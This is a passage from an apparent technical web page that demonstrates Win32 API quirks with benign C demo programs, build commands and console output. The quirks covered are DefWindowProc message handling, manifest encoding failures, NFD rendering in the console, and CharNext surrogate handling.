#if QUIRKS == 1 // NOTE: DefWindowProc() must be called in response to the
// WM_NCCREATE message to register the window title!
case WM_NCCREATE:
return (LRESULT) 1;
#endif
case WM_DESTROY:
PostQuitMessage(0);
// case WM_NULL:
// case WM_NCDESTROY:
// case WM_CREATE:
return (LRESULT) 0;
default:
return DefWindowProc(hWindow, uMessage, wParam, lParam);
}
}
extern const IMAGE_DOS_HEADER __ImageBase;
const WNDCLASSEX wce = {sizeof(wce),
CS_DBLCLKS,
#if QUIRKS == 2 // NOTE: DefWindowProc() does not call PostQuitMessage()
// in response to the WM_DESTROY message!
DefWindowProc,
#else
WindowProc,
#endif
0, 0,
(HINSTANCE) &__ImageBase,
(HICON) NULL,
(HCURSOR) NULL,
(HBRUSH) COLOR_BACKGROUND,
(LPCWSTR) NULL,
L"Quirks Demonstration Class",
(HICON) NULL};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
DWORD dwError;
LRESULT lResult;
BOOL bResult;
HWND hWindow;
MSG msg;
ATOM atom = RegisterClassEx(&wce);
if (atom == 0)
dwError = GetLastError();
else
{
hWindow = CreateWindowEx(WS_EX_APPWINDOW,
wce.lpszClassName,
L"Quirks Demonstration Window",
WS_OVERLAPPEDWINDOW | WS_VISIBLE,
CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
(HWND) NULL,
(HMENU) NULL,
wce.hInstance,
NULL);
if (hWindow == NULL)
dwError = GetLastError();
else
{
while ((bResult = GetMessage(&msg, (HWND) NULL, 0, 0)) > 0)
{
if (TranslateMessage(&msg))
;
lResult = DispatchMessage(&msg);
}
dwError = bResult < 0 ? GetLastError() : msg.wParam;
}
if (!UnregisterClass(wce.lpszClassName, wce.hInstance))
dwError = GetLastError();
}
ExitProcess(dwError);
}
About Atom Tables
Build the console application quirk21.exe
from the
source file quirk21.c
created in step 1. with the
preprocessor macro QUIRKS
defined as 2:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE /DQUIRKS=2 quirk21.c kernel32.lib user32.lib/D (Preprocessor Definitions) For details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk21.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk21.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk21.exe quirk21.obj kernel32.lib user32.lib
Execute the console application quirk21.exe
built in
step 2. and close its window to demonstrate the first
(mis)behaviour:
.\quirk21.exeOUCH¹: although the application window titled
Quirks Demonstration Windowwas closed, the Command Processor waits for the child process to terminate – for example via the Ctrl C keyboard shortcut!
Contrary to its documentation cited above, the Win32
function
DefWindowProc()
fails to provide the typical response to the
WM_DESTROY
message, i.e. it does not call
PostQuitMessage()
to terminate the
message loop
running in the calling thread of the process!
Build the console application quirk21.exe
from the
source file quirk21.c
created in step 1. again,
now with the preprocessor macro QUIRKS
defined as 1:
CL.EXE /DQUIRKS=1 quirk21.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk21.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk21.exe quirk21.obj kernel32.lib user32.lib
Execute the console application quirk21.exe
built in
step 4. to demonstrate the second (mis)behaviour:
.\quirk21.exe
OUCH²: the application window is displayed
without its title Quirks Demonstration Window
!
Contrary to the documentation cited above, an application’s
WindowProc()
must not return TRUE
in response to
the
WM_NCCREATE
message, but needs to call the
DefWindowProc()
function instead!
An application manifest is an XML file that describes and identifies the shared and private side-by-side assemblies that an application should bind to at run time. These should be the same assembly versions that were used to test the application. Application manifests may also describe metadata for files that are private to the application.Windows’ module loader but fails with theFor a complete listing of the XML schema, see […]
NTSTATUS
0xC0150002
alias STATUS_SXS_CANT_GEN_ACTCTX
when a valid
XML encoding
US-ASCII
,
UTF-7
,
UTF-16
or Windows-1252
UTF-8
is used in an application manifestor a
side-by-side manifest!
Create the text file quirk22.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#ifdef _DLL
__declspec(dllexport)
void quirk22(void *window, void *instance, char *cmdline, int cmdshow)
{
return;
}
int _DllMainCRTStartup(void *module, int reason, void *reserved)
{
return reason == 1;
}
#else // _DLL
int wmainCRTStartup(void)
{
return -123456789;
}
#endif // _DLL
Build the
DLL
quirk22.dll
with the function quirk22()
exported and the console application quirk22.exe
from
the source file quirk22.c
created in step 1.:
SET CL=/GAFyz /Oisy /W4 /X /Zl SET LINK=/EXPORT:quirk22=quirk22 /NODEFAULTLIB CL.EXE /Gz /LD /MD /wd4100 quirk22.c SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE /Gz quirk22.cFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk22.dll
and
quirk22.exe
build without any library!
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk22.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /EXPORT:quirk22=quirk22 /NODEFAULTLIB /out:quirk22.dll /dll /implib:quirk22.lib quirk22.obj Creating library quirk22.lib and object quirk22.exp Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk22.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk22.exe quirk22.obj
Load and execute the
DLL
quirk22.dll
built in step 2. with
RunDLL32.exe
to verify its
proper function:
RUNDLL32.EXE "%CD%\quirk22.dll,quirk22"
Create the text file quirk22.rc
with the following
content next to the files quirk22.*
created in the
steps 1. and 2.:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define RT_MANIFEST 24
#define CREATEPROCESS_MANIFEST_RESOURCE_ID 1
#define ISOLATIONAWARE_MANIFEST_RESOURCE_ID 2
ISOLATIONAWARE_MANIFEST_RESOURCE_ID RT_MANIFEST
BEGIN
// BUG: the module loader fails with STATUS_SXS_CANT_GEN_ACTCTX
// when a valid encoding other than 'UTF-8' is specified!
"<?xml version='1.0' encoding='US-ASCII' standalone='yes' ?>\n"
"<!-- Copyright (C) 2004-2025, Stefan Kanthak -->\n"
"<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>\n"
" <assemblyIdentity name='Quirk22' processorArchitecture='*' type='win32' version='0.8.1.5' />\n"
"</assembly>\n"
END
XML Declaration [XML Standards]
Create the resource file quirk22.res
with the
(side-by-side) manifest for the
DLL
from the file quirk22.rc
created in step 4.:
RC.EXE /L 0 /X quirk22.rc
Microsoft (R) Windows (R) Resource Compiler Version 6.1.7600.16385 Copyright (C) Microsoft Corporation. All rights reserved.
Rebuild the
DLL
quirk22.dll
and embed the (side-by-side) manifest from
the resource file quirk22.res
created in step 5.:
SET CL=/GAFyz /Oisy /W4 /X /Zl SET LINK=/EXPORT:quirk22=quirk22 /NODEFAULTLIB CL.EXE /Gz /LD /MD /wd4100 quirk22.c quirk22.res
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk22.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /EXPORT:quirk22=quirk22 /NODEFAULTLIB /out:quirk22.dll /dll /implib:quirk22.lib quirk22.obj Creating library quirk22.lib and object quirk22.exp
Repeat step 3. and load the
DLL
quirk22.dll
created in step 6. to demonstrate the
(mis)behaviour:
RUNDLL32.EXE "%CD%\quirk22.dll,quirk22"OUCH: although the (side-by-side) manifest embedded in the DLL
quirk22.dll
contains perfectly valid
XML, loading
of the
DLL
fails with Win32 error code 14001 alias
ERROR_SXS_CANT_GEN_ACTCTX
!
Execute the console application quirk22.exe
built in
step 2. to verify its proper function:
.\quirk22.exe ECHO %ERRORLEVEL%
-123456789
Create the text file quirk22.exe.manifest
with the
following content in Windows NT’s native
UTF-16LE
encoding (with or without the
Unicode
BOM)
next to the console application quirk22.exe
built in
step 2.:
<?xml version='1.0' encoding='UTF-16LE' standalone='yes' ?>
<!-- Copyright (C) 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1' />
Note: properly created, the file’s size is
328 bytes with BOM, and
326 bytes without.
Execute the console application quirk22.exe
built in
step 2. again to demonstrate the (mis)behaviour:
.\quirk22.exe ECHO %ERRORLEVEL%
The application has failed to start because its side-by-side configuration is incorrect. Please see the application event log or use the command-line sxstrace.exe tool for more detail. 14001OUCH: although the
application manifest
quirk22.exe.manifest
contains perfectly valid
XML, loading
of the application fails with Win32 error code 14001
alias
ERROR_SXS_CANT_GEN_ACTCTX
!
Optionally, if you prefer to see this error message displayed in a
message box, execute quirk22.exe
per
START
:
START quirk22.exe
Create the text file quirk22.vbs
with the following
content next to the application manifest
quirk22.exe.manifest
created in step 9.:
Rem Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
With WScript.CreateObject("Microsoft.Windows.ActCtx")
.Manifest = "quirk22.exe.manifest"
End With
Execute the
VBScript
quirk22.vbs
created in step 12. to load the
application manifest
quirk22.exe.manifest
created in step 9.:
CSCRIPT.EXE quirk22.vbs
Microsoft (R) Windows Script Host, Version 5.812 Copyright (C) Microsoft Corporation. All rights reserved. quirk22.vbs(4, 2) (null): The application has failed to start because its side-by-side configuration is incorrect. Please see the application event log or use the command-line sxstrace.exe tool for more detail.
Remove (really: deny) the execute
access permission from the
NTFS
DACL
of the text file quirk22.exe.manifest
created in
step 9., then start the application quirk22.exe
built in step 2. once again:
ICACLS.EXE quirk22.exe.manifest /Deny "%USERNAME%":(X) .\quirk22.exe ECHO %ERRORLEVEL%
processed file: quirk22.exe.manifest Successfully processed 1 files; Failed processing 0 files Access is denied. 5OUCH: although the text file
quirk22.exe.manifest
is read, not executed, loading of
the application fails with Win32 error code 5 alias
ERROR_ACCESS_DENIED
!
Use the Four Defined Normalization Forms:
The Unicode Consortium has defined four normalization forms: NFC (form C), NFD (form D), NFKC (form KC), and NFKD (form KD). Each form eliminates some differences but preserves case. Win32 and the .NET Framework support all four normalization forms.[…]
The NLS enumeration type NORM_FORM supports the four standard Unicode normalization forms. Forms C and D provide canonical forms for strings. Non-canonical forms KC and KD provide further compatibility, and can reveal certain semantic equivalences that are not apparent in forms C and D. However, they do so at the expense of a certain loss of information, and generally should not be used as a canonical way to store strings.
Of the two canonical forms, form C is a "composed" form and form D is a "decomposed" form. For example, form C uses the single Unicode code point "Ä" (U+00C4), while form D uses ("A" + "¨", that is U+0041 U+0308). These render identically, because "¨" (U+0308) is a combining character. Form D can use any number of code points to represent a single code point used by form C.
If two strings are identical in either form C or form D, they are identical in the other form. Furthermore, when correctly rendered, they display indistinguishably from one another and from the original non-normalized string.
Create the
UTF-16LE
encoded text file
quirk29.txt
containing the extended characters of
Code Page 1252
in form C in the first line and in form D in the second line in an
arbitrary, preferable empty directory:
€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
Note: with the leading
Byte Order Mark
U+FEFF
, the
intermediate and the trailing
CR/LF
pairs the file quirk29.txt
contains 309
Unicode
characters in 618 bytes.
Display the file quirk29.txt
using the internal
Type
command:
TYPE quirk29c.txt
€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ €‚ƒ„…†‡ˆ‰S□‹ŒZ□‘’“”•–—˜™s□›œz□Y□ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿A□A□A□A□A□A□ÆC□E□E□E□E□I□I□I□I□ÐN□O□O□O□O□O□×ØU□U□U□U□Y□Þßa□a□a□a□a□a□æc□e□e□e□e□i□i□i□i□ðn□o□o□o□o□o□÷øu□u□u□u□y□þy□OUCH: contrary to the highlighted statements of the documentation cited above, normalisation form D is not correctly rendered – all (58) decomposed characters with combining code points are displayed wrong using 2 glyphs!
Create the
UTF-16LE
NFC
encoded text file
quirk29c.txt
containing the extended characters of
Code Page 1252
in an arbitrary, preferable empty directory:
€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
Note: with the leading
Byte Order Mark
U+FEFF
and the
trailing
CR/LF
pair the file quirk29c.txt
contains 126
Unicode
characters in 252 bytes.
Display the file quirk29c.txt
using the internal
Type
command:
TYPE quirk29c.txt
€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
Create the
UTF-16LE
NFD
encoded text file
quirk29d.txt
containing the extended characters of
Code Page 1252
in the same directory:
€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
Note: with the leading
Byte Order Mark
U+FEFF
and the
trailing
CR/LF
the file quirk29d.txt
contains 184
Unicode
characters in 368 bytes.
Display the file quirk29d.txt
using the internal
Type
command:
TYPE quirk29d.txt
€‚ƒ„…†‡ˆ‰S□‹ŒZ□‘’“”•–—˜™s□›œz□Y□ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿A□A□A□A□A□A□ÆC□E□E□E□E□I□I□I□I□ÐN□O□O□O□O□O□×ØU□U□U□U□Y□Þßa□a□a□a□a□a□æc□e□e□e□e□i□i□i□i□ðn□o□o□o□o□o□÷øu□u□u□u□y□þy□OUCH: contrary to the highlighted statements of the documentation cited above, normalisation form D is not correctly rendered – all (58) decomposed characters with combining code points are displayed wrong using 2 glyphs!
Create the text file quirk29.c
with the following
content:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define CP1252 L"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\n"
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
UINT uiANSI;
CHAR szANSI[333];
WCHAR szWide[222];
INT niWide;
DWORD dwError = ERROR_SUCCESS;
DWORD dwConsole;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
if (!IsNormalizedString(NormalizationC,
CP1252, sizeof(CP1252) / sizeof(*CP1252)))
PrintConsole(hConsole,
L"IsNormalizedString() returned error %lu\n",
dwError = GetLastError());
if (!WriteConsole(hConsole, CP1252, sizeof(CP1252) / sizeof(*CP1252) - 1, &dwConsole, NULL))
PrintConsole(hConsole,
L"WriteConsole() returned error %lu\n",
dwError = GetLastError());
else if (dwConsole != sizeof(CP1252) / sizeof(*CP1252) - 1)
PrintConsole(hConsole,
L"WriteConsole() wrote %lu of %lu wide characters\n",
dwConsole, sizeof(CP1252) / sizeof(*CP1252) - 1);
niWide = NormalizeString(NormalizationD,
CP1252, sizeof(CP1252) / sizeof(*CP1252),
szWide, sizeof(szWide) / sizeof(*szWide));
if (--niWide < 0)
PrintConsole(hConsole,
L"NormalizeString() returned error %lu\n",
dwError = GetLastError());
else
if (!WriteConsole(hConsole, szWide, niWide, &dwConsole, NULL))
PrintConsole(hConsole,
L"WriteConsole() returned error %lu\n",
dwError = GetLastError());
else if (dwConsole != niWide)
PrintConsole(hConsole,
L"WriteConsole() wrote %lu of %lu wide characters\n",
dwConsole, niWide);
if ((GetACP() == CP_UTF8)
&& (GetOEMCP() == CP_UTF8))
{
uiANSI = WideCharToMultiByte(CP_UTF8,
WC_ERR_INVALID_CHARS,
szWide, niWide,
szANSI, sizeof(szANSI),
(LPCCH) NULL, (LPBOOL) NULL);
if (uiANSI == 0)
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu\n",
dwError = GetLastError());
else
{
if (!WriteConsoleA(hConsole, szANSI, uiANSI, &dwConsole, NULL))
PrintConsole(hConsole,
L"WriteConsoleA() returned error %lu\n",
dwError = GetLastError());
else if (dwConsole != uiANSI)
PrintConsole(hConsole,
L"WriteConsoleA() wrote %lu of %lu characters\n",
dwConsole, uiANSI);
if (!WriteFile(hConsole, szANSI, uiANSI, &dwConsole, (LPOVERLAPPED) NULL))
PrintConsole(hConsole,
L"WriteFile() returned error %lu\n",
dwError = GetLastError());
else if (dwConsole != uiANSI)
PrintConsole(hConsole,
L"WriteFile() wrote %lu of %lu characters\n",
dwConsole, uiANSI);
}
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk29.exe
from the
source file quirk29.c
created in step 5.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk29.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk29.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk29.c quirk29.c(77) : warning C4389: '!=' : signed/unsigned mismatch Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk29.exe quirk29.obj kernel32.lib user32.lib
Execute the console application quirk29.exe
built in
step 6. to demonstrate the (mis)behaviour:
.\quirk29.exe
€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ €‚ƒ„…†‡ˆ‰S□‹ŒZ□‘’“”•–—˜™s□›œz□Y□ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿A□A□A□A□A□A□ÆC□E□E□E□E□I□I□I□I□ÐN□O□O□O□O□O□×ØU□U□U□U□Y□Þßa□a□a□a□a□a□æc□e□e□e□e□i□i□i□i□ðn□o□o□o□o□o□÷øu□u□u□u□y□þy□OUCH: contrary to the highlighted statements of the documentation cited above, normalisation form D is not correctly rendered – all (58) decomposed characters with combining code points are displayed wrong using 2 glyphs!
SetConsoleTitleW()
,
WriteConsoleOutputW()
and
WriteConsoleOutputCharacterW()
is left as an exercise to the reader.
Note: an exploration of the (mis)behaviour (and
bugs) with the Win32 functions
SetConsoleTitleA()
,
WriteConsoleA()
,
WriteConsoleOutputA()
,
WriteConsoleOutputCharacterA()
and
WriteFile()
when the system’s (global)
ANSI
and OEM
code pages are set to 65001 alias CP_UTF8
is also left
as an exercise to the reader.
Note: an exploration of the
behaviour with (low-level) Win32 functions like
DrawText()
,
DrawTextEx()
,
ExtTextOut()
,
GrayString()
,
PolyTextOut()
,
TabbedTextOut()
TabbedTextOut()
and
TextOut()
or (high-level) Win32 functions like
CreateWindowEx()
,
MessageBox()
,
MessageBoxEx()
,
MessageBoxIndirect()
,
MessageBoxTimeout()
,
SetConsoleTitle()
and
SetWindowText()
is also left as an exercise to the reader.
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.
CharNextA()
,
CharNextExA()
and
CharNextW()
are documented in the
MSDN as
follows:
Retrieves the pointer to the next character in a string. This function can handle strings consisting of either single- or multi-byte characters.[…]
LPSTR CharNextA( LPCSTR lpsz );
[…]
When called as an ANSI function, CharNext uses the system default code-page, whereas
CharNextExA()
specifies a code-page to use.This function works with default "user" expectations of characters when dealing with diacritics. For example: A string that contains U+0061 U+030a "LATIN SMALL LETTER A" + "COMBINING RING ABOVE" — which looks like "å", will advance two code points, not one. A string that contains U+0061 U+0301 U+0302 U+0303 U+0304 — which looks like "á̂̃̄", will advance five code points, not one, and so on.
Retrieves the pointer to the next character in a string. This function can handle strings consisting of either single- or multi-byte characters.Note: the code page identifier 65001 alias[…]
LPSTR CharNextExA( WORD CodePage, LPCSTR lpCurrentChar, DWORD dwFlags );
[…]
CodePage
The identifier of the code page to use to check lead-byte ranges. Can be one of the code-page values provided in Code Page Identifiers, or one of the following predefined values.
[…]
CP_UTF8
denotes multi-byte character strings in
UTF-8
encoding.
Retrieves the pointer to the next character in a string. This function can handle strings consisting of either single- or multi-byte characters.The MSDN article Surrogates and Supplementary Characters states:[…]
LPWSTR CharNextW( LPCWSTR lpsz );
[…]Oops: a surrogate pair consisting of two 16-bit code units represents but a single code point!CharNext()
andCharPrev()
move by 16-bit code points, not by surrogate pairs.Note
Standalone surrogate code points have either a high surrogate without an adjacent low surrogate, or vice versa. These code points are invalid and are not supported. Their behavior is undefined.
Note: a low (alias trail) surrogate followed by a high (alias lead) surrogate is of course invalid too!
Create the text file quirk34.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#ifndef QUIRKS
const WCHAR szWide[] = L"\xFEFF \xD83D\xDE12 \xD83C\xDDEA\xD83C\xDDFA a\x030A a\x0301\x0302\x0303\x0304";
#else
const WCHAR szWide[] = L"\xFEFF \xDE12\xD83D \xDDEA\xD83C\xDDFA\xD83C a\x030A a\x0301\x0302\x0303\x0304";
#endif
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
UINT uiWide;
UINT uiANSI;
CHAR szANSI[42];
LPCSTR lpANSI;
LPCVOID lpLast;
LPCWSTR lpWide;
DWORD dwError = ERROR_SUCCESS;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
PrintConsole(hConsole,
L"%tu UTF-16 code units:\n",
sizeof(szWide) / sizeof(*szWide));
for (uiWide = 0; uiWide < sizeof(szWide) / sizeof(*szWide); uiWide++)
PrintConsole(hConsole,
L" %04hX",
szWide[uiWide]);
PrintConsole(hConsole,
L"\n\n");
for (lpWide = szWide, uiWide = 0;
lpWide = CharNext(lpLast = lpWide), lpWide != lpLast;
uiWide++)
PrintConsole(hConsole,
L"%tu code units at offset %tu\n",
lpWide - lpLast, -(szWide - lpLast));
PrintConsole(hConsole,
L"CharNextW() enumerated %u characters in %tu code units\n",
uiWide, sizeof(szWide) / sizeof(*szWide));
uiANSI = WideCharToMultiByte(CP_UTF8,
WC_ERR_INVALID_CHARS,
szWide, sizeof(szWide) / sizeof(*szWide),
szANSI, sizeof(szANSI),
(LPCCH) NULL, (LPBOOL) NULL);
if (uiANSI == 0)
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hConsole,
L"\n"
L"WideCharToMultiByte() returned %u UTF-8 code units for %tu UTF-16 code units:\n",
uiANSI, sizeof(szWide) / sizeof(*szWide));
lpANSI = szANSI;
do
PrintConsole(hConsole,
L" %02X",
*lpANSI++);
while (--uiANSI);
PrintConsole(hConsole,
L"\n\n");
if ((GetACP() != CP_UTF8)
|| (GetOEMCP() != CP_UTF8))
{
for (lpANSI = szANSI, uiANSI = 0;
lpANSI = CharNextExA(CP_UTF8, lpLast = lpANSI, 0), lpANSI != lpLast;
uiANSI++)
PrintConsole(hConsole,
L"%tu code units at offset %tu\n",
lpANSI - lpLast, -(szANSI - lpLast));
PrintConsole(hConsole,
L"CharNextExA() enumerated %u characters\n",
uiANSI);
}
else
{
for (lpANSI = szANSI, uiANSI = 0;
lpANSI = CharNextA(lpLast = lpANSI), lpANSI != lpLast;
uiANSI++)
PrintConsole(hConsole,
L"%tu code units at offset %tu\n",
lpANSI - lpLast, -(szANSI - lpLast));
PrintConsole(hConsole,
L"CharNextA() enumerated %u characters\n",
uiANSI);
}
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk34.exe
from the
source file quirk34.c
created in step 1.:
SET CL=/GAFy /J /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk34.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk34.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk34.c quirk34.c(71) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCWSTR' quirk34.c(71) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'const WCHAR *' quirk34.c(113) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCSTR' quirk34.c(113) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'CHAR *' quirk34.c(126) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCSTR' quirk34.c(126) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'CHAR *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk34.exe quirk34.obj kernel32.lib user32.lib
Execute the console application quirk34.exe
